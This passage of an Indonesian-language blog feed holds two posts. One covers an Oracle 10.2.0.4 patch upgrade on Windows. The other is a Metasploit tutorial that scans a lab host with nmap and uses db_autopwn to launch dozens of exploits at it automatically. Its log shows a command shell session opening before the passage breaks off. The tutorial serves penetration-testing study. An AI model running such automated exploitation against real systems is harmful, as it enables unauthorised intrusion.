		<description><![CDATA[Upgrade database oracle sebaiknya dilakukan di mesin testing terlebih dahulu sebelum dilakukan upgrade yang sesungguhnya di mesin production, untuk meminimalisir kesalahan atau error di database production. Untuk list patch set terbaru oracle silahkan anda berkunjung ke website resmi oracle disini. Testing disini menggunakan OS Windows 2003 SP2 dengan oracle versi 10.2.0.1 dalam kondisi fresh install.
Persiapan [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Upgrade database oracle sebaiknya dilakukan di mesin testing terlebih dahulu sebelum dilakukan upgrade yang sesungguhnya di mesin production, untuk meminimalisir kesalahan atau error di database production. Untuk list patch set terbaru oracle silahkan anda berkunjung ke website resmi oracle <a href="http://www.oracle.com/technology/support/patches.htm">disini</a>. Testing disini menggunakan OS Windows 2003 SP2 dengan oracle versi 10.2.0.1 dalam kondisi fresh install.</p>
<p style="text-align: justify;"><strong>Persiapan Sebelum Upgrade</strong></p>
<ul style="text-align: justify;">
<li>Download patch set number 6810189 dari metalink oracle.<br />
tentunya anda juga harus mempunyai account suppot identifier oracle (CSI) yang valid.</li>
<li>Buat instan database<br />
Buat instan database dengan spesifikasi yang sama dengan database production. Dalam contoh ini saya menggunakan SID : ORCL</li>
<li>Import database<br />
Import database dari backup server production, dengan cara yang biasa anda lakukan di environment anda, dan pastikan telah bekerja dengan baik.</li>
<li>Matikan semua service oracle<br />
<span id="more-213"></span>
<ul>C:\&gt; set oracle_sid=ORCL<br />
C:\&gt; isqlplusctl stop</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>iSQL*Plus 10.2.0.1.0
Copyright (c) 2003, 2005, Oracle.  All rights reserved.
Stopping iSQL*Plus ...
iSQL*Plus stopped.</pre>
</div>
<p>C:\&gt; emctl stop dbconsole</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>Oracle Enterprise Manager 10g Database Control Release 10.2.0.1.0
Copyright (c) 1996, 2005 Oracle Corporation.  All rights reserved.

https://jtim:1158/em/console/aboutApplication

The OracleDBConsoleORCL service is stopping.............
The OracleDBConsoleORCL service was stopped successfully.</pre>
</div>
<p>C:\&gt; lsnrctl stop</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>LSNRCTL for 32-bit Windows: Version 10.2.0.1.0 - Production on 05-APR-2009 21:26:17
Copyright (c) 1991, 2005, Oracle.  All rights reserved.
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=jtim)(PORT=1521))
)
The command completed successfully</pre>
</div>
<p>C:\&gt; sqlplus /nolog</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>SQL*Plus: Release 10.2.0.1.0 - Production on Sun Apr 5 21:27:38 2009
Copyright (c) 1982, 2005, Oracle.  All rights reserved.
SQL&gt;</pre>
</div>
<p>SQL&gt; conn / as sysdba<br />
Connected.<br />
SQL&gt; shutdown abort</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>Database closed.
Database dismounted.
ORACLE instance shut down.
SQL&gt;</pre>
</div>
</ul>
<p>apabila ingin shutdown semua service menggunakan windows service :</p>
<ul> C:\&gt; net stop OracleOraDB10g_Home1iSQL*Plus<br />
C:\&gt; net stop OracleDBConsoleORCL<br />
C:\&gt; net stop OracleOraDB10g_Home1TNSListener<br />
C:\&gt; net stop OracleServiceORCL</ul>
</li>
<li>Matikan juga service Mirosoft Distributed Transaction Coordinator apabila ada atau berjalan
<ul>C:\&gt; net stop msdtc</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>The Distributed Transaction Coordinator service is stopping.
The Distributed Transaction Coordinator service was stopped successfully.</pre>
</div>
</ul>
</li>
</ul>
<p style="text-align: justify;"><strong>Upgrade database Oracle 10.2.0.4</strong><br />
Sebelum melakukan upgrade, silahkan baca terlebih dahulu dokumentasi yang telah disertakan di patch upgrade tersebut.</p>
<ul style="text-align: justify;">
<li>Jalankan Oracle Universal Installer (oui.exe) dari instalasi oracle 10.2.0.4 di folder install, dan setelah welcome screen muncul, tekan Next :</li>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Oracle/opatch1.jpg" alt="" width="320" height="250" /></p>
<li>Pilih home Oracle oracle yang akan diupgrade (jangan membuat home directory baru lagi) kemudian tekan Next :</li>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Oracle/opatch2.jpg" alt="" width="320" height="250" /></p>
<li>Oracle Installer akan melakukan pengecekan system requirement, tekan Next untuk melanjutkan ke screen berikutnya :</li>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Oracle/opatch3.jpg" alt="" width="320" height="250" /></p>
<li>Masukkan data customer identification number (CSI) anda, kemudian tekan Next :</li>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Oracle/opatch4.jpg" alt="" width="320" height="250" /></p>
<li>Summary installation, tekan Install untuk melakukan instalasi :</li>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Oracle/opatch5.jpg" alt="" width="320" height="250" /></p>
<li>Installasi upgrade patch Oracle telah selesai. Tekan Exit :</li>
<p style="text-align: center;"><img class="aligncenter" src="http://i184.photobucket.com/albums/x99/ronevic/Oracle/opatch6.jpg" alt="" width="320" height="250" /></p>
</ul>
<p style="text-align: justify;"><strong>Testing Instalasi Upgrade Oracle</strong></p>
<ul style="text-align: justify;">
<li>Start database dalam mode upgrade (testing upgrade) :
<ul>C:\&gt;sqlplus /nolog</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>SQL*Plus: Release 10.2.0.4.0 - Production on Mon Apr 6 15:39:00 2009
Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.
SQL&gt; </pre>
</div>
<p>SQL&gt; conn / as sysdba</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>Connected to an idle instance.
SQL&gt;</pre>
</div>
<p>SQL&gt; startup upgrade</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>ORACLE instance started.
Total System Global Area  289406976 bytes
Fixed Size                  1296308 bytes
Variable Size             142608460 bytes
Database Buffers          138412032 bytes
Redo Buffers                7090176 bytes
Database mounted.
Database opened.
SQL&gt;</pre>
</div>
</ul>
</li>
<li>Jalankan script test patch di  $ORACLE_HOME\RDBMS\ADMIN\catupgrd.sql dengan spool diaktifkan terlebih dahulu.
<ul>SQL&gt; spool patch.log<br />
SQL&gt; @D:\oracle\product\10.2.0\RDBMS\ADMIN\catupgrd.sql</p>
<div style="background: #cccccc none repeat scroll 0% 0%; overflow: auto; height: 250px; width: 455px;">
<pre>SQL&gt; @D:\oracle\product\10.2.0\RDBMS\ADMIN\catupgrd.sql
DOC&gt;######################################################################
DOC&gt;######################################################################
DOC&gt;	The following statement will cause an "ORA-01722: invalid number"
DOC&gt;	error if the user running this script is not SYS.  Disconnect
DOC&gt;	and reconnect with AS SYSDBA.
DOC&gt;######################################################################
DOC&gt;######################################################################
DOC&gt;#
no rows selected
DOC&gt;######################################################################
DOC&gt;######################################################################
DOC&gt;	The following statement will cause an "ORA-01722: invalid number"
DOC&gt;	error if the database server version is not correct for this script.
DOC&gt;	Shutdown ABORT and use a different script or a different server.
DOC&gt;######################################################################
DOC&gt;######################################################################
DOC&gt;#
no rows selected
DOC&gt;#######################################################################
DOC&gt;#######################################################################
DOC&gt;   The following statement will cause an "ORA-01722: invalid number"
DOC&gt;   error if the database has not been opened for UPGRADE.
DOC&gt;
DOC&gt;   Perform a "SHUTDOWN ABORT"  and
DOC&gt;   restart using UPGRADE.
DOC&gt;#######################################################################
DOC&gt;#######################################################################
DOC&gt;#
no rows selected
DOC&gt;#######################################################################
DOC&gt;#######################################################################
DOC&gt;	The following statements will cause an "ORA-01722: invalid number"
DOC&gt;	error if the SYSAUX tablespace does not exist or is not
DOC&gt;	ONLINE for READ WRITE, PERMANENT, EXTENT MANAGEMENT LOCAL, and
DOC&gt;	SEGMENT SPACE MANAGEMENT AUTO.
DOC&gt;
DOC&gt;	The SYSAUX tablespace is used in 10.1 to consolidate data from
DOC&gt;	a number of tablespaces that were separate in prior releases.
DOC&gt;	Consult the Oracle Database Upgrade Guide for sizing estimates.
DOC&gt;
DOC&gt;	Create the SYSAUX tablespace, for example,
DOC&gt;
DOC&gt;	 create tablespace SYSAUX datafile 'sysaux01.dbf'
DOC&gt;	     size 70M reuse
DOC&gt;	     extent management local
DOC&gt;	     segment space management auto
DOC&gt;	     online;
DOC&gt;
DOC&gt;	Then rerun the catupgrd.sql script.
DOC&gt;#######################################################################
DOC&gt;#######################################################################
DOC&gt;#
no rows selected
no rows selected
no rows selected
no rows selected
no rows selected
Session altered.
Session altered.
Table created.
2 rows deleted.
1 row created.
Commit complete.
TIMESTAMP
------------------------------------------------------------
COMP_TIMESTAMP UPGRD__BGN 2009-04-06 16:43:38 2454928 60218
- - - - - dipotong sampe disini coz panjang bgt - - - -</pre>
</div>
</ul>
<p>Proses ini akan memakan waktu yang lumayan lama bergantung besar database dan resource hardware anda. Apabila proses test sudah selesai periksa terlebih dahulu hasil test tersebut (patch.log) baik berupa error ataupun komponen yang gagal terupdate. Apabila sudah dilakukan perbaikan silahkan dites ulang menggunakan script diatas.</li>
<li>Restart database ke mode seperti biasa (normal) dan jalankan script $ORACLE_HOME\RDBMS\ADMIN\utlrp.sql untuk mengkompile ulang semua packages yang invalid (optional) :
<ul>SQL&gt; shutdown immediate</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>Database closed.
Database dismounted.
ORACLE instance shut down.</pre>
</div>
<p>SQL&gt; startup</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>ORACLE instance started.
Total System Global Area  289406976 bytes
Fixed Size                  1296308 bytes
Variable Size             192940108 bytes
Database Buffers           88080384 bytes
Redo Buffers                7090176 bytes
Database mounted.
Database opened.</pre>
</div>
<p>SQL&gt; @D:\oracle\product\10.2.0\RDBMS\ADMIN\utlrp.sql</p>
<div style="background: #cccccc none repeat scroll 0% 0%; overflow: auto; height: 250px; width: 455px;">
<pre>TIMESTAMP
-------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_BGN  2009-04-06 17:21:12
DOC&gt;   The following PL/SQL block invokes UTL_RECOMP to recompile invalid
DOC&gt;   objects in the database. Recompilation time is proportional to the
DOC&gt;   number of invalid objects in the database, so this command may take
DOC&gt;   a long time to execute on a database with a large number of invalid
DOC&gt;   objects.
DOC&gt;
DOC&gt;   Use the following queries to track recompilation progress:
DOC&gt;
DOC&gt;   1. Query returning the number of invalid objects remaining. This
DOC&gt;      number should decrease with time.
DOC&gt;         SELECT COUNT(*) FROM obj$ WHERE status IN (4, 5, 6);
DOC&gt;
DOC&gt;   2. Query returning the number of objects compiled so far. This number
DOC&gt;      should increase with time.
DOC&gt;         SELECT COUNT(*) FROM UTL_RECOMP_COMPILED;
DOC&gt;
DOC&gt;   This script automatically chooses serial or parallel recompilation
DOC&gt;   based on the number of CPUs available (parameter cpu_count) multiplied
DOC&gt;   by the number of threads per CPU (parameter parallel_threads_per_cpu).
DOC&gt;   On RAC, this number is added across all RAC nodes.
DOC&gt;
DOC&gt;   UTL_RECOMP uses DBMS_SCHEDULER to create jobs for parallel
DOC&gt;   recompilation. Jobs are created without instance affinity so that they
DOC&gt;   can migrate across RAC nodes. Use the following queries to verify
DOC&gt;   whether UTL_RECOMP jobs are being created and run correctly:
DOC&gt;
DOC&gt;   1. Query showing jobs created by UTL_RECOMP
DOC&gt;         SELECT job_name FROM dba_scheduler_jobs
DOC&gt;            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC&gt;
DOC&gt;   2. Query showing UTL_RECOMP jobs that are running
DOC&gt;         SELECT job_name FROM dba_scheduler_running_jobs
DOC&gt;            WHERE job_name like 'UTL_RECOMP_SLAVE_%';
DOC&gt;#
TIMESTAMP
-------------------------------------------------------------------------------
COMP_TIMESTAMP UTLRP_END  2009-04-06 17:22:10
DOC&gt; The following query reports the number of objects that have compiled
DOC&gt; with errors (objects that compile with errors have status set to 3 in
DOC&gt; obj$). If the number is higher than expected, please examine the error
DOC&gt; messages reported with each object (using SHOW ERRORS) to see if they
DOC&gt; point to system misconfiguration or resource constraints that must be
DOC&gt; fixed before attempting to recompile these objects.
DOC&gt;#
OBJECTS WITH ERRORS
-------------------
                  0
DOC&gt; The following query reports the number of errors caught during
DOC&gt; recompilation. If this number is non-zero, please query the error
DOC&gt; messages in the table UTL_RECOMP_ERRORS to see if any of these errors
DOC&gt; are due to misconfiguration or resource constraints that must be
DOC&gt; fixed before objects can compile successfully.
DOC&gt;#
ERRORS DURING RECOMPILATION
---------------------------
                          0
SQL&gt;</pre>
</div>
</ul>
</li>
</ul>
<p style="text-align: justify;">Proses patch upgrade telah selesai dilakukan silahkan restart seluruh service atau reboot komputer anda.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.masrony.com/2009/04/06/upgrade-oracle-10201-ke-10204-di-windows/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Metasploit II : Mass Exploitation</title>
		<link>http://www.masrony.com/2009/04/05/metasploit-ii-mass-exploitation/</link>
		<comments>http://www.masrony.com/2009/04/05/metasploit-ii-mass-exploitation/#comments</comments>
		<pubDate>Sun, 05 Apr 2009 10:12:00 +0000</pubDate>
		<dc:creator>Mas Rony</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tips]]></category>
		<category><![CDATA[db_autopwn]]></category>
		<category><![CDATA[mass exploit]]></category>
		<category><![CDATA[mass exploitation]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[metasploit how to]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[pentest tools]]></category>

		<guid isPermaLink="false">http://www.masrony.com/?p=210</guid>
		<description><![CDATA[Artikel ini merupakan lanjutan dari artikel sebelumnya yaitu Metasploit I : Teknik Dasar. Dalam artikel yang kedua ini saya ingin membahas mengenai penggunaan metasploit untuk mass exploitation dengan menggunakan db_autopwn.
Sebelumnya pastikan instalasi metasploit kita sudah terintegrasi terlebih dahulu dengan database (bisa menggunakan MySQL, postgre, ataupun SQLite3) dan nmap. Prosedur instalasinya silahkan anda lihat disini.
Metode mass [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Artikel ini merupakan lanjutan dari artikel sebelumnya yaitu <a href="http://www.masrony.com/2009/03/22/metasploit-i-teknik-dasar/">Metasploit I : Teknik Dasar</a>. Dalam artikel yang kedua ini saya ingin membahas mengenai penggunaan metasploit untuk <em>mass exploitation</em> dengan menggunakan <em>db_autopwn</em>.<br />
Sebelumnya pastikan instalasi metasploit kita sudah terintegrasi terlebih dahulu dengan database (bisa menggunakan MySQL, postgre, ataupun SQLite3) dan nmap. Prosedur instalasinya silahkan anda lihat <a href="http://www.masrony.com/2009/03/15/instalasi-metasploit-3-di-ubuntu-intrepid/">disini</a>.<br />
Metode <em>mass exploitation</em> pertama yang akan saya gunakan dalam artikel ini menggunakan teknik mass exploit pada satu mesin dengan memanfaatkan vulnerability di seluruh layanan server/port yang terbuka, atau kita istilahkan pendekatan secara vertikal (istilah ini ndak akan ketemu kalo mbuka-mbuka kamus eksploitasi sistem, lha wong istilahnya made in indo hahaha.. ). Model pendekatan yang lain juga akan dicoba (secara singkat) di bawah artikel ini.</p>
<p style="text-align: justify;"><strong>Metode mass exploit secara vertikal</strong><br />
Ya dah langsung kita coba aja ke satu mesin yang sudah kita siapkan sebelumnya.<br />
<span id="more-210"></span><br />
- Jalankan metasploit console dari shell :</p>
<ul style="text-align: justify;">$ sudo msfconsole</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|
       =[ msf v3.3-dev
+ -- --=[ 359 exploits - 233 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 132 aux</pre>
</div>
</ul>
<p style="text-align: justify;">- Jalankan plugin mysql terlebih dahulu (saya menggunakan mysql database)</p>
<ul style="text-align: justify;">msf &gt; load db_mysql</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>[*] Successfully loaded plugin: db_mysql</pre>
</div>
</ul>
<p style="text-align: justify;">- Sambungkan metasploit dengan database di MySQL</p>
<ul style="text-align: justify;">msf &gt; db_connect msf:msf@localhost/metasploit<br />
msf &gt;</ul>
<p style="text-align: justify;">- Scan mesin target menggunakan nmap untuk melihat port yang terbuka.<br />
Hasil scan ini akan tersimpan otomatis kedalam database yang telah disiapkan sebelumnya.</p>
<ul style="text-align: justify;">msf &gt; db_nmap -v -sS 192.168.1.10</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto; height: 250px; width: 485px;">
<pre>[*] exec: "/usr/bin/nmap" "-v" "-sS" "192.168.1.10" "-oX" "/tmp/dbnmap20090404-13424-19l1thf-0"
NMAP:
NMAP: Starting Nmap 4.62 ( http://nmap.org ) at 2009-04-04 17:35 CIT
NMAP: Initiating ARP Ping Scan at 17:35
NMAP: Scanning 192.168.1.10 [1 port]
NMAP: Completed ARP Ping Scan at 17:35, 0.00s elapsed (1 total hosts)
NMAP: Initiating Parallel DNS resolution of 1 host. at 17:35
NMAP: Completed Parallel DNS resolution of 1 host. at 17:35, 0.00s elapsed
NMAP: Initiating SYN Stealth Scan at 17:35
NMAP: Scanning 192.168.1.10 [1715 ports]
NMAP: Discovered open port 1723/tcp on 192.168.1.10
NMAP: Discovered open port 3389/tcp on 192.168.1.10
NMAP: Discovered open port 139/tcp on 192.168.1.10
NMAP: Discovered open port 1025/tcp on 192.168.1.10
NMAP: Discovered open port 1026/tcp on 192.168.1.10
NMAP: Discovered open port 445/tcp on 192.168.1.10
NMAP: Discovered open port 1043/tcp on 192.168.1.10
NMAP: Discovered open port 12345/tcp on 192.168.1.10
NMAP: Discovered open port 1521/tcp on 192.168.1.10
NMAP: Discovered open port 135/tcp on 192.168.1.10
NMAP: Discovered open port 3372/tcp on 192.168.1.10
NMAP: Discovered open port 1433/tcp on 192.168.1.10
NMAP: Completed SYN Stealth Scan at 17:35, 0.67s elapsed (1715 total ports)
NMAP: Host 192.168.1.10 appears to be up ... good.
NMAP: Interesting ports on 192.168.1.10:
NMAP: Not shown: 1703 closed ports
NMAP: PORT      STATE SERVICE
NMAP: 135/tcp   open  msrpc
NMAP: 139/tcp   open  netbios-ssn
NMAP: 445/tcp   open  microsoft-ds
NMAP: 1025/tcp  open  NFS-or-IIS
NMAP: 1026/tcp  open  LSA-or-nterm
NMAP: 1043/tcp  open  boinc
NMAP: 1433/tcp  open  ms-sql-s
NMAP: 1521/tcp  open  oracle
NMAP: 1723/tcp  open  pptp
NMAP: 3372/tcp  open  msdtc
NMAP: 3389/tcp  open  ms-term-serv
NMAP: 12345/tcp open  netbus
NMAP: MAC Address: 00:1C:C0:50:B9:00 (Intel Corporate)
NMAP:
NMAP: Read data files from: /usr/share/nmap
NMAP: Nmap done: 1 IP address (1 host up) scanned in 0.872 seconds
NMAP: Raw packets sent: 1716 (75.502KB) | Rcvd: 1716 (78.932KB)
msf &gt;</pre>
</div>
</ul>
<p style="text-align: justify;">- Untuk mengetahui opsi-opsi db_autopwn, bisa dilihat terlebih dahulu dari menu help-nya. Silahkan anda coba dan pelajari opsi-opsi tersebut dengan berbagai kombinasi yang anda inginkan</p>
<ul style="text-align: justify;">msf &gt; db_autopwn -h</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%;">
<pre>[*] Usage: db_autopwn [options]
	-h          Display this help text
	-t          Show all matching exploit modules
	-x          Select modules based on vulnerability references
	-p          Select modules based on open ports
	-e          Launch exploits against all matched targets
	-r          Use a reverse connect shell
	-b          Use a bind shell on a random port
	-q          Disbale exploit module output
	-I  [range] Only exploit hosts inside this range
	-X  [range] Always exclude hosts inside this range
	-PI [range] Only exploit hosts with these ports open
	-PX [range] Always exclude hosts with these ports open
	-m  [regex] Only run modules whose name matches the regex
msf &gt;</pre>
</div>
</ul>
<p style="text-align: justify;">- db_autopwn akan kita jalankan menggunakan modul-modul exploit yang sesuai dengan port-port yang sebelumnya telah tersimpan di database</p>
<ul style="text-align: justify;">msf &gt; db_autopwn -p -t</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto; height: 250px; width: 485px;">
<pre>[*] Analysis completed in 6.07385802268982 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_exec against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.1.10:445...
[*] Matched auxiliary/admin/db2/db2rcmd against 192.168.1.10:445...
[*] Matched auxiliary/scanner/mssql/mssql_login against 192.168.1.10:1433...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rasmans_reg against 192.168.1.10:445...
[*] Matched auxiliary/scanner/smb/login against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms05_047_pnp against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_addprivs_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/psexec against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_066_nwapi against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.1.10:445...
[*] Matched exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.10:135...
[*] Matched exploit/solaris/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/multi/samba/nttrans against 192.168.1.10:139...
[*] Matched auxiliary/dos/windows/smb/vista_negotiate_stop against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms09_001_write against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms08_067_netapi against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms04_031_netdde against 192.168.1.10:445...
[*] Matched exploit/windows/smb/msdns_zonename against 192.168.1.10:445...
[*] Matched exploit/linux/pptp/poptop_negative_read against 192.168.1.10:1723...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 192.168.1.10:445...
[*] Matched exploit/solaris/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/netware/smb/lsass_cifs against 192.168.1.10:445...
[*] Matched auxiliary/scanner/dcerpc/management against 192.168.1.10:135...
[*] Matched auxiliary/scanner/dcerpc/endpoint_mapper against 192.168.1.10:135...
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.1.10:445...
[*] Matched exploit/windows/mssql/ms02_056_hello against 192.168.1.10:1433...
[*] Matched exploit/linux/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_sql against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.1.10:445...
msf &gt;</pre>
</div>
</ul>
<p style="text-align: justify;">- Lakukan exploitasi system dengan menambahkan opsi -e :</p>
<ul style="text-align: justify;">msf &gt; db_autopwn -p -t -e</p>
<div style="margin: 10px auto; background: #cccccc none repeat scroll 0% 0%; overflow: auto; height: 250px; width: 485px;">
<pre>[*] Analysis completed in 6.27089881896973 seconds (0 vulns / 0 refs)
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.1.10:445...
[*] Matched auxiliary/admin/mssql/mssql_exec against 192.168.1.10:1433...
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.1.10:445...
[*] (3/39): Launching exploit/windows/smb/ms05_039_pnp against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched auxiliary/admin/db2/db2rcmd against 192.168.1.10:445...
[*] Matched auxiliary/scanner/mssql/mssql_login against 192.168.1.10:1433...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rasmans_reg against 192.168.1.10:445...
[*] Matched auxiliary/scanner/smb/login against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms05_047_pnp against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.1.10:445...
[*] Matched auxiliary/dos/samba/lsa_addprivs_heap against 192.168.1.10:445...
[*] Matched exploit/windows/smb/psexec against 192.168.1.10:445...
[*] (13/39): Launching exploit/windows/smb/psexec against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms06_066_nwapi against 192.168.1.10:445...
[*] (14/39): Launching exploit/windows/smb/ms06_066_nwapi against 192.168.1.10:445...
[*] Started bind handler
[-] Exploit failed: No encoders encoded the buffer successfully.
[*] Connecting to the server...
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.1.10:445...
[*] Authenticating as user 'Administrator'...
[*] (15/39): Launching exploit/windows/smb/ms06_040_netapi against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.1.10:445...
[*] (16/39): Launching exploit/windows/smb/ms04_011_lsass against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[-] Exploit failed: Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.1.10:445...
[*] (17/39): Launching exploit/windows/smb/ms03_049_netapi against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.10:135...
[*] (18/39): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.1.10:135...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/solaris/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] (19/39): Launching exploit/solaris/samba/lsa_transnames_heap against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/multi/samba/nttrans against 192.168.1.10:139...
[*] (20/39): Launching exploit/multi/samba/nttrans against 192.168.1.10:139...
[*] Matched auxiliary/dos/windows/smb/vista_negotiate_stop against 192.168.1.10:445...
[*] Matched auxiliary/dos/windows/smb/ms09_001_write against 192.168.1.10:445...
[*] Matched exploit/windows/smb/ms08_067_netapi against 192.168.1.10:445...
[*] (23/39): Launching exploit/windows/smb/ms08_067_netapi against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/smb/ms04_031_netdde against 192.168.1.10:445...
[*] (24/39): Launching exploit/windows/smb/ms04_031_netdde against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/windows/smb/msdns_zonename against 192.168.1.10:445...
[*] (25/39): Launching exploit/windows/smb/msdns_zonename against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/linux/pptp/poptop_negative_read against 192.168.1.10:1723...
[*] (26/39): Launching exploit/linux/pptp/poptop_negative_read against 192.168.1.10:1723...
[-] Exploit failed: wrong number of arguments (1 for 0)
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 192.168.1.10:445...
[*] (27/39): Launching exploit/windows/brightstor/etrust_itm_alert against 192.168.1.10:445...
[-] Exploit failed: Anonymous modules have no name to be referenced by
[*] Matched exploit/solaris/samba/trans2open against 192.168.1.10:139...
[*] (28/39): Launching exploit/solaris/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/trans2open against 192.168.1.10:139...
[*] Matched exploit/osx/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] (30/39): Launching exploit/osx/samba/lsa_transnames_heap against 192.168.1.10:445...
[*] Started bind handler
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.10[\lsarpc]...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.10[\lsarpc]...
[*] Getting OS information...
[*] Trying to exploit Windows 5.1
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Server appears to have been patched
[*] Triggering the vulnerability...
<strong>[*] Command shell session 1 opened (192.168.1.6:46451 -&gt; 192.168.1.10:29595)</strong>
[*] Matched exploit/netware/smb/lsass_cifs against 192.168.1.10:445...
[*] (31/39): Launching exploit/netware/smb/lsass_cifs against 192.168.1.10:445...
[*] Matched auxiliary/scanner/dcerpc/management against 192.168.1.10:135...
[*] Matched auxiliary/scanner/dcerpc/endpoint_mapper against 192.168.1.10:135...
[*] Matched exploit/windows/smb/ms06_066_nwwks against 192.168.1.10:445...
